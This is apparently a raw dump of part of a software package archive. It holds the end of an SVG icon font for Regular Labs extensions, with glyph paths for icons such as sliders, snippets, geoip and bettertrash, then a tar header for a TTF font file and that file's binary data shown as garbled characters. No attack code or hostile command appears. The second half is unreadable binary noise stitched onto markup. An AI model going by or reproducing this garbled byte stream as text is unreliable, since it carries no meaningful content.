144-144 71.359 0 130.761 52.174 142.063
120.379-4.092-7.561-13.473-10.563-21.219-6.689-7.902 3.951-11.106
13.563-7.154 21.466l46.31 92.622 46.311-92.622c3.952-7.903
0.748-17.515-7.155-21.466-2.297-1.148-4.739-1.693-7.143-1.693-5.87 0-11.521
3.241-14.323 8.848l-2.592
5.184c-1.76-17.417-6.088-34.352-12.936-50.54v0zM498.162 323.512c-8.865
20.96-21.553 39.781-37.712 55.939s-34.979 28.846-55.938 37.711c-21.709
9.183-44.76 13.838-68.512 13.838-23.754
0-46.805-4.655-68.513-13.838-20.96-8.865-39.78-21.553-55.938-37.711s-28.846-34.979-37.711-55.939c-6.847-16.188-11.175-33.123-12.935-50.539l-2.591
5.183c-3.952 7.903-13.562 11.107-21.466
7.155-7.903-3.952-11.107-13.563-7.155-21.467l46.309-92.621 46.311
92.622c3.952 7.903 0.748 17.515-7.155 21.466-7.746 3.873-17.127
0.87-21.218-6.689 11.301 68.204 70.703 120.378 142.062 120.378 79.401 0
144-64.599 144-144s-64.599-144-144-144c-8.837 0-16-7.163-16-16s7.163-16
16-16c23.753 0 46.803 4.656 68.512 13.838 20.96 8.865 39.78 21.553 55.939
37.711s28.846 34.979 37.711 55.939c9.183 21.71 13.838 44.76 13.838
68.512s-4.655 46.804-13.838 68.512v0z" />
<glyph unicode="" glyph-name="sliders"
d="M496.067 399.028c-4.721 4.721-10.159 8.464-16.066 11.135v46.443c0
14.529-5.658 28.188-15.933 38.462-10.276 10.274-23.937 15.932-38.468
15.932h-339.2c-14.531
0-28.192-5.658-38.467-15.932s-15.933-23.933-15.933-38.462v-46.443c-5.907-2.671-11.346-6.414-16.067-11.135-10.275-10.275-15.933-23.934-15.933-38.463v-307.17c0-14.528
5.658-28.188 15.933-38.462s23.936-15.933 38.467-15.933h403.2c14.531 0
28.192 5.658 38.467 15.933s15.933 23.933 15.933 38.462v307.17c0
14.529-5.658 28.188-15.933 38.463zM64 456.606c0 12.351 10.048 22.398 22.4
22.398h339.2c12.352 0 22.4-10.048 22.4-22.398v-41.646h-384v41.646zM480
53.395c0-12.35-10.049-22.397-22.4-22.397h-403.2c-12.352-0.001-22.4
10.046-22.4 22.397v307.17c0 12.351 10.048 22.398 22.399 22.398h403.2c12.352
0 22.4-10.048 22.4-22.398v-307.17zM203.314 202.294c6.249-6.247 6.249-16.378
0-22.626l-59.314-59.307-59.314 59.308c-6.249 6.248-6.249 16.379 0
22.626s16.379 6.247 22.627 0l20.687-20.685v89.364c0 8.836 7.163 15.998 16
15.998s16-7.162 16-15.998v-89.364l20.686 20.685c6.249 6.246 16.38 6.246
22.628-0.001zM427.314 234.291c6.249-6.248 6.249-16.378
0-22.626-3.124-3.124-7.219-4.686-11.313-4.686s-8.189 1.562-11.313
4.686l-20.688 20.685v-89.363c0-8.836-7.163-15.999-16-15.999s-16 7.163-16
15.999v89.363l-20.687-20.685c-6.248-6.247-16.379-6.247-22.628 0s-6.248
16.378 0 22.626l59.315 59.308 59.314-59.308z" />
<glyph unicode="" glyph-name="snippets"
d="M441.707 142.144c-4.030 9.528-9.797 18.082-17.139 25.425-7.342
7.342-15.896 13.107-25.424 17.138-9.872 4.175-20.351 6.293-31.144
6.293s-21.271-2.118-31.145-6.294c-3.871-1.638-7.579-3.566-11.112-5.766l-50.356
73.598 137.818 201.427c4.989 7.293 3.123 17.25-4.17 22.239-7.294
4.99-17.251 3.123-22.24-4.17l-130.795-191.162-130.795 191.162c-4.99
7.293-14.947 9.16-22.24
4.17-7.292-4.989-9.16-14.946-4.17-22.239l137.818-201.427-50.356-73.599c-3.534
2.2-7.241 4.129-11.113 5.767-9.873 4.176-20.351 6.294-31.144
6.294s-21.271-2.118-31.144-6.294c-9.528-4.030-18.082-9.796-25.424-17.138-7.342-7.343-13.108-15.896-17.138-25.425-4.177-9.872-6.294-20.351-6.294-31.144s2.117-21.271
6.293-31.145c4.030-9.528 9.796-18.082 17.138-25.424s15.896-13.108
25.424-17.138c9.874-4.175 20.352-6.292 31.145-6.292s21.271 2.117 31.144
6.293c9.528 4.029 18.083 9.796 25.425 17.138s13.108 15.896 17.138
25.424c4.176 9.873 6.294 20.352 6.294 31.145s-2.118 21.271-6.294
31.145c-2.161 5.111-4.828 9.938-7.964 14.453l46.257 67.605
46.257-67.606c-3.136-4.515-5.802-9.342-7.964-14.453-4.176-9.873-6.293-20.352-6.293-31.145
0-10.792 2.117-21.271 6.293-31.144 4.030-9.528 9.797-18.082
17.139-25.424s15.896-13.108 25.424-17.139c9.873-4.176 20.352-6.294
31.145-6.294s21.271 2.118 31.145 6.294c9.528 4.030 18.082 9.797 25.424
17.139s13.108 15.896 17.139 25.424c4.176 9.873 6.293 20.352 6.293
31.144-0.002 10.793-2.119 21.272-6.295 31.145zM144 63c-26.467 0-48
21.532-48 47.999s21.532 48.001 48 48.001 48-21.533
48-48.001c0-26.467-21.533-47.999-48-47.999zM368 63c-26.467 0-48 21.532-48
47.999s21.533 48.001 48 48.001 48-21.533
48-48.001c0-26.467-21.533-47.999-48-47.999z" />
<glyph unicode="" glyph-name="sourcerer"
d="M219.314 403.686l-148.686-148.686 148.686-148.687c6.249-6.248
6.249-16.379 0-22.628-3.124-3.122-7.219-4.685-11.314-4.685s-8.189
1.563-11.314 4.686l-171.314 171.314 171.314 171.314c6.249 6.249 16.379
6.249 22.627 0 6.249-6.248 6.249-16.379 0.001-22.628zM315.314
426.314c-6.248 6.249-16.379 6.249-22.628 0-6.248-6.248-6.248-16.379
0-22.628l148.686-148.686-148.686-148.686c-6.248-6.248-6.248-16.379 0-22.628
3.125-3.123 7.22-4.686 11.314-4.686s8.189 1.563 11.313 4.686l171.314
171.314-171.313 171.314z" />
<glyph unicode="" glyph-name="tabs"
d="M496.431 398.9c-4.773 4.915-10.302 8.808-16.431 11.575v46.125c0
7.464-1.584 14.725-4.707 21.58-2.934 6.439-7.088 12.225-12.347 17.197-5.158
4.878-11.108 8.717-17.685 11.411-6.821 2.795-13.975 4.212-21.261
4.212h-81.6c-8.088 0-15.907-1.747-23.067-5.111-0.684 0.312-1.373
0.613-2.071 0.899-6.822 2.795-13.977 4.212-21.262 4.212h-81.6c-8.088
0-15.907-1.747-23.068-5.111-0.684 0.313-1.373 0.613-2.071 0.899-6.822
2.795-13.976 4.212-21.261 4.212h-81.6c-14.531
0-28.192-5.659-38.467-15.933-10.275-10.276-15.933-23.937-15.933-38.467v-46.69c-5.792-2.618-11.101-6.208-15.706-10.685-10.508-10.214-16.294-23.931-16.294-38.625v-307.199c0-14.53
5.658-28.191 15.933-38.467 10.275-10.275 23.936-15.934
38.467-15.934h403.2c14.531 0 28.192 5.659 38.467 15.934s15.933 23.936
15.933 38.467v307.199c0 14.36-5.529 27.962-15.569 38.3zM448
456.6v-41.6h-96v41.6c0 7.464-1.584 14.725-4.707 21.58-0.126 0.275-0.256
0.547-0.387 0.82h77.094c12.785 0 24-10.467 24-22.4zM320
456.6v-41.6h-96v41.6c0 7.464-1.584 14.725-4.708 21.58-0.125 0.275-0.256
0.547-0.386 0.82h77.094c12.785 0 24-10.467 24-22.4zM86.4 479h81.6c12.785 0
24-10.467 24-22.4v-41.6h-128v41.6c0 12.351 10.049 22.4 22.4 22.4zM480
53.401c0-12.352-10.049-22.4-22.4-22.4h-403.2c-12.352-0.001-22.4 10.048-22.4
22.4v307.199c0 12.77 10.318 22.4 24 22.4h403.2c11.080 0 20.8-10.467
20.8-22.4v-307.199zM432 303c0-8.837-7.163-16-16-16h-320c-8.837 0-16
7.163-16 16s7.163 16 16 16h320c8.837 0 16-7.163 16-16zM432
111c0-8.837-7.163-16-16-16h-320c-8.837 0-16 7.163-16 16s7.163 16 16
16h320c8.837 0 16-7.163 16-16zM432 207c0-8.837-7.163-16-16-16h-320c-8.837
0-16 7.163-16 16s7.163 16 16 16h320c8.837 0 16-7.163 16-16z" />
<glyph unicode="" glyph-name="tooltips"
d="M496.432 431.898c-4.846 4.99-10.467 8.928-16.707 11.703-6.563
2.919-13.469 4.399-20.526 4.399h-403.199c-15.14
0-29.241-5.603-39.706-15.776-10.508-10.216-16.294-23.934-16.294-38.628v-211.191c0-14.531
5.658-28.192 15.933-38.469 10.274-10.277 23.936-15.936
38.467-15.936h41.6v-80c0-6.472 3.898-12.306 9.877-14.782 1.979-0.819
4.058-1.219 6.119-1.219 4.164 0 8.257 1.626 11.317 4.687l91.314
91.314h242.973c14.531 0 28.193 5.659 38.467 15.936s15.933 23.937 15.933
38.469v211.191c0 14.361-5.529 27.963-15.568 38.302zM480
182.405c0-12.354-10.049-22.405-22.4-22.405h-249.6c-4.244
0-8.313-1.686-11.314-4.687l-68.686-68.686v57.373c0 8.836-7.164 16-16
16h-57.6c-12.352 0-22.4 10.051-22.4 22.405v211.191c0 12.772 10.317 22.404
24 22.404h403.2c11.080 0 20.8-10.469 20.8-22.404v-211.191z" />
<glyph unicode=""
glyph-name="advancedtemplatemanager" d="M475.313
475.313c-6.243 6.25-16.382 6.25-22.625 0l-264.601-264.601c-12.65
8.387-27.803 13.289-44.086 13.289-44.112 0-80-35.887-80-80
0-42.421-29.032-86.7-29.313-87.125-4.231-6.347-3.394-14.797 2-20.188
3.090-3.094 7.188-4.688 11.319-4.688 3.072 0 6.163 0.882 8.868 2.688 0.441
0.293 44.463 29.313 87.125 29.313 44.113 0 80 35.887 80 80 0 16.283-4.901
31.436-13.289 44.086l264.601 264.601c6.25 6.246 6.25 16.378 0 22.625z"
/>
<glyph unicode="" glyph-name="iplogin"
d="M112 448c-26.469 0-48-21.531-48-48s21.531-48 48-48 48 21.531 48
48-21.531 48-48 48zM112 384c-8.822 0-16 7.178-16 16s7.178 16 16 16 16-7.178
16-16-7.178-16-16-16zM307.865 290.76c8.060 19.372 12.135 39.919 12.135
61.24 0 88.225-71.775 160-160 160s-160-71.775-160-160 71.775-160
160-160c21.322 0 41.869 4.075 61.24
12.135l44.131-44.135h22.628v-22.628l41.372-41.372h22.628v-22.628l73.372-73.372h86.628v86.628l-204.135
204.131zM480 32h-41.372l-54.628 54.628v41.372h-41.372l-22.628
22.628v41.372h-41.372l-50.806
50.806-10.331-5.204c-17.919-9.028-37.262-13.603-57.49-13.603-70.578 0-128
57.422-128 128s57.422 128 128 128 128-57.422
128-128c0-20.228-4.575-39.572-13.603-57.49l-5.204-10.331
210.807-210.807v-41.372z" />
<glyph unicode=""
glyph-name="dummycontent" d="M464 512h-416c-26.469
0-48-21.531-48-48v-416c0-26.469 21.532-48 48-48h416c26.469 0 48 21.531 48
47.997v416c0 26.466-21.531 48-48 48.003zM480
47.997c0-8.822-7.178-15.997-16-15.997h-416c-8.822 0-16 7.178-16 16v416c0
8.822 7.178 16 16 16h415.997c8.825 0 16.003-7.182 16.003-16.004v-416zM416
128h-320c-8.838 0-16-7.163-16-16s7.162-16 16-16h320c8.838 0 16 7.162 16
16s-7.162 16-16 16zM416 320h-320c-8.838 0-16-7.163-16-16s7.162-16
16-16h320c8.838 0 16 7.163 16 16s-7.162 16-16 16zM416 224h-320c-8.838
0-16-7.163-16-16s7.162-16 16-16h320c8.838 0 16 7.162 16 16s-7.162 16-16
16zM416 415.997l-320 0.003c-8.834 0-16-7.163-16-16s7.162-16
16-16l320-0.004c8.834 0 16 7.163 16 16s-7.162 16-16 16z" />
<glyph unicode="" glyph-name="geoip"
d="M432 32h-160v96.656c20.268 1.663 39.964 6.498 58.739 14.439 22.865
9.671 43.397 23.514 61.024 41.141s31.469 38.16 41.141 61.024c10.017 23.681
15.096 48.827 15.096 74.739s-5.079 51.058-15.096 74.739c-9.671
22.865-23.514 43.397-41.141 61.024s-38.16 31.47-61.024 41.141c-23.681
10.017-48.827 15.095-74.739
15.095s-51.058-5.079-74.739-15.095c-22.865-9.671-43.397-23.513-61.025-41.141s-31.469-38.16-41.141-61.024c-10.017-23.681-15.096-48.827-15.096-74.739s5.079-51.058
15.095-74.739c9.671-22.865 23.513-43.397 41.141-61.024s38.16-31.469
61.025-41.141c18.775-7.942 38.471-12.776 58.739-14.439v-96.656h-160c-8.837
0-16-7.163-16-16s7.163-16 16-16h352c8.837 0 16 7.163 16 16s-7.163 16-16
16zM198 254.514c-3.040 15.812-4.931 32.399-5.658
49.486h127.317c-0.726-17.087-2.618-33.674-5.658-49.486-0.174-0.906-0.356-1.805-0.536-2.702-18.344
2.748-37.694 4.188-57.464 4.188-19.771 0-39.12-1.44-57.464-4.188-0.181
0.898-0.362 1.796-0.536 2.702zM213.998 437.829c6.377 14.031 13.903 25.313
21.763 32.626 6.806 6.334 13.615 9.545 20.239 9.545s13.433-3.211
20.239-9.545c7.86-7.314 15.385-18.596 21.763-32.626 2.632-5.792
5.048-11.975 7.243-18.512-15.813-2.2-32.289-3.317-49.246-3.317s-33.433
1.117-49.245 3.317c2.195 6.537 4.611 12.719 7.244 18.512zM198.536
388.188c18.344-2.748 37.693-4.188 57.464-4.188s39.12 1.44 57.464
4.188c0.181-0.899 0.362-1.796 0.536-2.702 3.040-15.811 4.932-32.399
5.658-49.485h-127.317c0.726 17.087 2.618 33.674 5.658 49.486 0.174 0.906
0.356 1.804 0.536 2.702zM235.761 169.545c-7.859 7.314-15.386 18.596-21.763
32.627-2.632 5.793-5.049 11.976-7.244 18.512 15.814 2.2 32.29 3.317 49.246
3.317s33.433-1.118
49.245-3.317c-2.195-6.538-4.611-12.719-7.243-18.512-6.377-14.031-13.903-25.313-21.763-32.627-6.806-6.333-13.615-9.544-20.239-9.544s-13.433
3.212-20.239 9.545zM318.813 172.799c2.923 4.99 5.702 10.368 8.32 16.13
3.639 8.005 6.903 16.597 9.781 25.663 10.846-2.72 21.008-5.993
30.197-9.716-14.097-13.618-30.329-24.401-48.298-32.078zM388.611
230.423c-13.060 6.072-27.805 11.161-43.745 15.161 3.709 18.417 6.018 38.099
6.815
58.416h63.536c-1.575-15.957-5.519-31.464-11.783-46.273-4.067-9.615-9.022-18.737-14.822-27.304zM415.216
336h-63.536c-0.798 20.317-3.107 39.999-6.815 58.416 15.942 4 30.687 9.089
43.746 15.161 5.799-8.567 10.755-17.688 14.822-27.303 6.264-14.809
10.208-30.316 11.784-46.274zM367.111
435.122c-9.188-3.724-19.351-6.996-30.197-9.716-2.878 9.067-6.142
17.659-9.781 25.665-2.619 5.761-5.398 11.14-8.32 16.129 17.968-7.677
34.201-18.46 48.298-32.078zM193.186
467.2c-2.922-4.989-5.702-10.368-8.32-16.129-3.639-8.006-6.903-16.599-9.781-25.665-10.847
2.72-21.010 5.992-30.198 9.715 14.098 13.619 30.331 24.402 48.299
32.079zM123.388 409.575c13.061-6.072 27.805-11.161
43.747-15.16-3.709-18.417-6.018-38.099-6.815-58.415h-63.535c1.575 15.957
5.519 31.464 11.783 46.273 4.067 9.615 9.022 18.736 14.82 27.302zM96.784
304h63.535c0.798-20.317 3.107-39.998
6.815-58.415-15.942-3.999-30.686-9.088-43.747-15.16-5.799 8.567-10.754
17.687-14.821 27.302-6.263 14.809-10.207 30.316-11.783 46.273zM144.887
204.879c9.189 3.724 19.351 6.995 30.198 9.716 2.878-9.067 6.142-17.659
9.781-25.665 2.619-5.762 5.398-11.14 8.32-16.13-17.969 7.678-34.202
18.461-48.299 32.079z" />
<glyph unicode=""
glyph-name="conditionalcontent" d="M400 288h-240v96c0 52.925
43.075 96 96 96s96-43.075 96-96v-16h32v16c0 70.575-57.425 128-128
128s-128-57.425-128-128v-96h-16c-26.475 0-48-21.55-48-48v-192c0-26.475
21.525-48 48-48h288c26.475 0 48 21.525 48 48v192c0 26.475-21.525 48-48
48zM416 48c0-8.825-7.175-16-16-16h-288c-8.825 0-16 7.175-16 16v192c0 8.825
7.175 16 16 16h288c8.825 0 16-7.175 16-16v-192zM352 192h-192c-8.825
0-16-7.175-16-16s7.175-16 16-16h192c8.825 0 16 7.175 16 16s-7.175 16-16
16zM352 128h-192c-8.825 0-16-7.175-16-16s7.175-16 16-16h192c8.825 0 16
7.175 16 16s-7.175 16-16 16z" />
<glyph unicode=""
glyph-name="simpleusernotes" d="M432 288h-93.375c-13.725
31.4-37.15 57.575-66.85 74.675 10.6 15.775 16.25 34.325 16.225 53.325 0
52.925-43.075 96-96 96s-96-43.075-96-96c0-19.3 5.65-37.675
16.15-53.325-49.275-28.3-80.15-80.75-80.15-138.675v-112c0-26.475 21.525-48
48-48h112v-16c0-26.475 21.525-48 48-48h192c26.475 0 48 21.525 48 48v192c0
26.475-21.525 48-48 48zM192 480c35.3 0 64-28.7 64-64s-28.7-64-64-64c-35.35
0-64 28.65-64 64 0 35.3 28.7 64 64 64zM80 96c-8.825 0-16 7.175-16
16v112c-0.075 48.65 27.5 93.125 71.125 114.675 33.825-24.9 79.9-24.875
113.725 0.025 22.6-11.225 41.375-28.85 54-50.675h-62.85c-26.475
0-48-21.55-48-48v-144h-112zM448 48c0-8.825-7.175-16-16-16h-192c-8.825 0-16
7.175-16 16v192c0 8.825 7.175 16 16 16h192c8.825 0 16-7.175 16-16v-192zM384
128h-96c-8.825 0-16-7.175-16-16s7.175-16 16-16h96c8.825 0 16 7.175 16
16s-7.175 16-16 16zM384 192h-96c-8.825 0-16-7.175-16-16s7.175-16
16-16h96c8.825 0 16 7.175 16 16s-7.175 16-16 16z" />
<glyph unicode=""
glyph-name="bettertrash" d="M400 384.003h-288c-26.469
0-48-21.531-48-48v-288.003c0-26.469 21.531-48 48-48h288c26.469 0 48 21.531
48 47.997v288.003c0 26.466-21.531 47.996-48 48.003zM416
47.997c0-8.822-7.178-15.997-16-15.997h-288c-8.822 0-16 7.178-16
16v288.003c0 8.822 7.178 16 16 16h287.997c8.825 0 16.003-7.181
16.003-16.003v-288.003zM80 416h352c8.837 0 16 7.163 16 16s-7.163 16-16
16h-112v48c0 8.837-7.163 16-16 16h-96c-8.838
0-16-7.163-16-16v-48h-112c-8.838 0-16-7.163-16-16s7.162-16 16-16zM224
480h64v-32h-64v32zM176 320c-8.838 0-16-7.163-16-16v-232c0-8.837 7.162-16
16-16s16 7.163 16 16v232c0 8.837-7.162 16-16 16zM256 320c-8.838
0-16-7.163-16-16v-232c0-8.837 7.162-16 16-16s16 7.163 16 16v232c0
8.837-7.163 16-16 16zM336 320c-8.837 0-16-7.163-16-16v-232c0-8.837 7.163-16
16-16s16 7.163 16 16v232c0 8.837-7.163 16-16 16z" />
<glyph unicode=""
glyph-name="quickindex" d="M475.314
35.686c-3.124-3.123-7.219-4.686-11.314-4.686s-8.189 1.563-11.314 4.686l-128
128c-6.248 6.249-6.248 16.38 0 22.628 6.249 6.249 16.38 6.249 22.628
0l128-128c6.249-6.248 6.249-16.379 0-22.628zM339.42
256.715c-8.060-19.055-19.594-36.164-34.282-50.854-14.689-14.688-31.799-26.223-50.854-34.281-19.735-8.347-40.691-12.58-62.284-12.58s-42.548
4.232-62.284 12.58c-19.055 8.059-36.164 19.593-50.854 34.281-14.689
14.689-26.223 31.799-34.282 50.854-8.347 19.736-12.58 40.691-12.58 62.285 0
21.593 4.232 42.549 12.58 62.285 8.059 19.055 19.594 36.164 34.282 50.853
14.689 14.688 31.798 26.224 50.854 34.282 19.736 8.348 40.691 12.58 62.284
12.58s42.548-4.232 62.284-12.58c19.055-8.059 36.164-19.594 50.854-34.282
14.688-14.688 26.223-31.798 34.282-50.853 8.348-19.736 12.58-40.691
12.58-62.285s-4.232-42.549-12.58-62.285zM320 319c0 70.579-57.421 128-128
128s-128-57.421-128-128 57.42-128 128-128c70.579 0 128 57.421 128
128z" />
<glyph unicode=""
glyph-name="articlesfield" d="M288 336h128c8.837 0 16 7.163
16 16s-7.163 16-16 16h-128c-8.837 0-16-7.163-16-16s7.163-16 16-16zM416
288h-48c-8.837 0-16-7.163-16-16s7.163-16 16-16h48c8.837 0 16 7.163 16
16s-7.163 16-16 16zM288 416h128c8.837 0 16 7.163 16 16s-7.163 16-16
16h-128c-8.837 0-16-7.163-16-16s7.163-16 16-16zM464
512h-224.004c-26.465-0.007-47.996-21.538-47.996-48.003v-111.997c0-8.837
7.162-16 16-16s16 7.163 16 16v111.997c0 8.822 7.178 16.003 16
16.003h223.997c8.825 0 16.003-7.181
16.003-16.003v-224c0-8.822-7.178-15.997-16-15.997h-224c-8.822 0-16 7.175-16
15.997v16.003c0 8.837-7.162 16-16 16s-16-7.163-16-16v-16.003c0-26.466
21.531-47.997 48-47.997h224c26.469 0 48 21.531 48 47.997v224c0
26.466-21.531 47.997-48 48.003zM224 176h-128c-8.838
0-16-7.163-16-16s7.162-16 16-16h128c8.838 0 16 7.163 16 16s-7.162 16-16
16zM144 256h-48c-8.838 0-16-7.163-16-16s7.162-16 16-16h48c8.838 0 16 7.163
16 16s-7.162 16-16 16zM224 96h-128c-8.838 0-16-7.163-16-16s7.162-16
16-16h128c8.838 0 16 7.163 16 16s-7.162 16-16 16zM304 176c-8.837
0-16-7.163-16-16v-112.003c0-8.822-7.178-15.997-16-15.997h-224c-8.822 0-16
7.175-16 15.997v224c0 8.822 7.178 16.003 16 16.003h223.997c8.825 0
16.003-7.182 16.003-16.004v-15.996c0-8.837 7.163-16 16-16s16 7.163 16
16v15.996c0 26.466-21.531 47.997-48
48.004h-224.003c-26.465-0.006-47.997-21.538-47.997-48.004v-224c0-26.466
21.532-47.997 48-47.997h224c26.469 0 48 21.531 48 47.997v112.003c0
8.837-7.163 16-16 16z" />
<glyph unicode=""
glyph-name="keyboardshortcuts" d="M464 96h-416c-26.467 0-48
21.532-48 47.998v224.002c0 26.466 21.532 47.999 47.998
48.001h416.002c26.468-0.002 48-21.536
48-48.001v-224.002c0-26.466-21.533-47.998-48-47.998zM48
384c-8.822-0.001-16-7.179-16-16.001v-224.002c0-8.822 7.178-15.998
16-15.998h416c8.822 0 16 7.177 16 15.998v224.002c0 8.822-7.178
16.001-16.002 16.001h-415.998zM344 176h-176c-8.837 0-16 7.163-16 16s7.163
16 16 16h176c8.837 0 16-7.163 16-16s-7.163-16-16-16zM104 303.999h-16c-8.837
0-16 7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163
16-16s-7.163-16-16-16zM184 304.002h-16c-8.837 0-16 7.163-16 16s7.163 16 16
16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM264 304.002h-16c-8.837 0-16
7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM104
240h-16c-8.837 0-16 7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163
16-16s-7.163-16-16-16zM184 240.002h-16c-8.837 0-16 7.163-16 16s7.163 16 16
16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM264 240.002h-16c-8.837 0-16
7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM344
303.999h-16c-8.837 0-16 7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163
16-16s-7.163-16-16-16zM424 303.999h-16c-8.837 0-16 7.163-16 16s7.163 16 16
16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM344 240h-16c-8.837 0-16
7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM424
240h-16c-8.837 0-16 7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163
16-16s-7.163-16-16-16zM104 176h-16c-8.837 0-16 7.163-16 16s7.163 16 16
16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16zM424 176h-16c-8.837 0-16
7.163-16 16s7.163 16 16 16h16c8.837 0 16-7.163 16-16s-7.163-16-16-16z"
/>
<glyph unicode="" glyph-name="nonumber"
d="M512 159c0-13.255-10.745-24-24-24h-82.5c-13.255 0-24 10.745-24
24s10.745 24 24 24h82.5c13.255 0 24-10.745 24-24zM301.5 159c0 13.255-10.745
24-24 24h-253.5c-13.255 0-24-10.745-24-24s10.745-24 24-24h253.5c13.255 0 24
10.745 24 24zM210.5 351c0-13.255 10.745-24 24-24h253.5c13.255 0 24 10.745
24 24s-10.745 24-24 24h-253.5c-13.255 0-24-10.745-24-24zM24 327c0.003 0
0.007 0 0.010 0l82.494 0.035c13.255 0.005 23.996 10.755 23.99 24.010-0.005
13.252-10.75 23.99-24 23.99-0.003 0-0.008 0-0.011
0l-82.493-0.035c-13.255-0.006-23.996-10.756-23.99-24.010 0.006-13.251
10.75-23.99 24-23.99zM106.424 118.131c-12.771
3.547-26-3.93-29.547-16.701l-20-72c-3.548-12.771 3.93-26.001 16.701-29.549
2.149-0.597 4.31-0.881 6.437-0.881 10.511 0 20.16 6.961 23.111 17.582l20
72c3.546 12.772-3.931 26.001-16.702 29.549v0zM128.604 199.862c2.141-0.592
4.292-0.874 6.41-0.874 10.522 0 20.178 6.976 23.118 17.61l73 264c3.533
12.775-3.96 25.995-16.735 29.527-12.774
3.533-25.995-3.96-29.528-16.735l-73-264c-3.533-12.775 3.959-25.995
16.735-29.528zM405.576 391.869c2.149-0.597 4.311-0.881 6.438-0.881 10.512 0
20.16 6.96 23.111 17.582l20 72c3.547 12.771-3.931 26-16.701 29.548-12.772
3.547-26.001-3.93-29.549-16.7l-20-72c-3.547-12.771 3.93-26.001
16.701-29.549zM383.397 310.138c-12.774
3.533-25.996-3.96-29.528-16.735l-73-264c-3.532-12.775 3.96-25.996
16.735-29.527 2.141-0.593 4.292-0.875 6.41-0.875 10.522 0 20.178 6.975
23.118 17.609l73 264c3.532 12.775-3.96 25.996-16.735 29.528v0z" />
</font></defs></svg>fonts/RegularLabs.ttf000064400000026524151165506420010635
0ustar00�0OS/2A���`cmap�j�lgasp�glyf����(�head���*06hhea#*h$hmtx?�*��loca�T��+Fmaxp2G+\
name]l��+|�post-4 ��LfGLf��@�
P ��������
����������
!��797979@�
Iw�%#";2654&7#";2654&.'.'.#";26=>7>54&'#54&'.'.5467>7>7>32'"3265467>32654&#
` ` z
&&
" � "
)
� �
#
0 ;
&4!* *!4&�
##
++�
#
���)FW6D%#";26=4#553+"&546;2>=4&'.+";267'546;2+"&5010"1#"&'&4?#"&581546323'&4762021881021810181028181810181208181018181018381018101818101810181810181881810181881"010181810181810#818818181"1818810"189+"&546;2� � ������ @ @ 0
t
t
�
t
t
� Y I
\ @ @ � � � @ ` � �
t
t
&t
t
� ` P
��M'.#!"3!2654&'>7#!"&5463!'.#">?>7>71�
��`
< �� Q&%?
5%1���`:�� ` $(W/!!'-\05���
)HXn�46;2+"&32654&+"732654&+"+#!"&=#"&5463!232!2654&#!"#"&'#"&54635#3!2654&+32+32#81#32+3!265P � � � � � � �0�p�0 � W� @ ` p@ @@ @C � O I � �p0� � �
p @ @
0 �}+7DP&'.'&#"327>76?.'>7"&546327>54&''"32654&�B,-22-,B
B,-22-,B
��&99&
q'77''77@
&99&g
****G**$$&7''77''7$$**f
����"4F%#"&'&4?'.'&67%61%326764/&"'&"326764'����ep�e��pp�pp��� �� �pp��pp_�Z�.'.'.'.#".#"3267>73267>73267>7>54&'#"&'0410"1818#81&#"&'814&54&#"#"&5467812632654&'>3228181818120181678181>32813265<5�-
#
6
,
!$ &
*- &2C
)� &# .0?R#54&+";;26=326=4Ȣ2+"&5+"&=3;7+"&=326=32�j
�
� * �V
�
�
`
�
@ �`
�
j j
�* � j
� ��
�
�
j* 6
*
�
����
)CSe46;2+"&4&+";26'32654&+"#!"&=#"&5463!232!2654&#!"%4&++3!265P � � � � � �� � ���Pp�0 � � p�
O 9 w 0��pP� � � �p ���2Wx�4&'.'.'.#"13267>7>7>5>7>32#"&'.'.5467#"&'.'.53267>7'#"&'.'.'.5467>7>7>32#"3267'.?"#"&/7#"&54632654&#">'&676>7>7>7>32
#Z11Z#
#Z11Z#
�+!V//V!!V//V!�!V//V!
#Z11Z#
�
$22$0`
$22$0
�
��
k
��
6
��b
2$$2(88R
2$$2(88
@�
#!"3!2654&7'!326?!%7�`��<�������55��n
����
7��`ɷ44������5J_t4&#!"3!265##!"&=463!2%467>32#"#"&5#"&'.5463232%#"&546326546324632#"&54&#"&���
�� �`
L
�
L
o� � 4
��
%
n
���5<GRdw.+54&'.+";;267>=3267>=4&'12#5%32!54635!+"&5+"&=3;7#"&=3267>=3#�
j
�
�
*
&
����
��
�
`
�
@
�J�
j
�
�*
�
j
�
`
����
�
j*
*
j�
O�F�%#"&'.'.'.5467>7>7>32#"3267'.?#"&/17.'.'.#"'.76&'&>32#"3267>7>7>54&'1R
""
" <TT<6P..�
""
..P6<TT< "
�
""
T<<TE3]]
�
]]3ET<<T
""���)3D]y.'54&'.#!"3!267>54&%463!2!#!"&5463!2%'&4762546327627#"&/#"&="'&4?�
��
�
�H
T
���
�l
�
��;; � ;;�//
��4
B
*��
4
�̕<<Y Y
Y Y<<@��t��%.'.'.#"'76&'&'..'.#"3267>7>7>54&'.'73267>7>7>54&'"&546323"&54632�
3�
��
�3
..
����
J�
��
�J
CC
OO��'#"&/7627&"326?'۔���`����������������DQ^hy���.'54&'.'.'.+"0&#.+"0&#.+"3!267>54&''#54&'04132#54&'04132'32#546#!"&5463!2'#!"&5463!2#!"&5463!25#!"&5463!2� RRR
�
0`M
�`M
�R
�
�
�l
� 0 �� @ �� @ �� @ �/
/��
4
:**
**
**
�V
4
�� � Y
�+E.'.#!";2326?3267>=4&'+"54&+"&=463!2� �m
*\�
�E :
� ��
P[
�
�
D9
�
�#
��"&".#"132670632654&'64��� !/7
!/���/!
7/! 1M"32654&"&54632>54&#"32673335'#'5#'5#'#"&54632p �^BB^^B,)IW̬)7))3
5KK55K��@ ]B^^BB^,)IW��7))3K55KK5
�)
.<JY!"3!2654&#!"&5463!2'!"3!2654&'!"3!2654&!"3!2654&'!"3!2654&#�`� �` � @�� @ �� @ �� @ �� @ �`��0 � �`P � ` �
